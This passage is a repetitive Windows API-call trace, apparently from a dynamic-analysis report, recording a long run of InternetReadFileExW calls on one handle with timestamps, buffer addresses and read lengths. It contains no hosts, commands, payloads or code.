lpvBuffer=0x5cfecd4*, dwBufferLength=0x37e, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.630] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.630] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.630] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1d9, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.631] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.631] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xd7, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.631] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.632] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.632] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.632] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x397, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.632] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.633] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.633] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x163, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.633] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.633] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xb, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.633] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.634] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.634] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x34c, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.634] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2f4, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.634] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.635] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.635] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x323, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.635] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.635] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x7d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.636] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.636] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.636] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1fb, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.636] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.637] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x14d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.637] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.637] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.637] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x9e, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.638] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.638] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.638] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.638] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xa3, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.638] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3be, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.639] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.639] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.639] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2e7, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.639] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3e4, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.640] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.640] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.640] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x24c, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.640] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3ad, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.641] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.641] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.641] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x148, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.641] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x386, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.642] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.642] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.642] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.642] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x7, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.643] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x377, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.643] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.643] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.643] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x38d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.644] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.644] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xca, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.644] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.644] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.645] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.645] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x172, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.645] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.645] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1ad, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.645] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.646] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.646] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.646] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 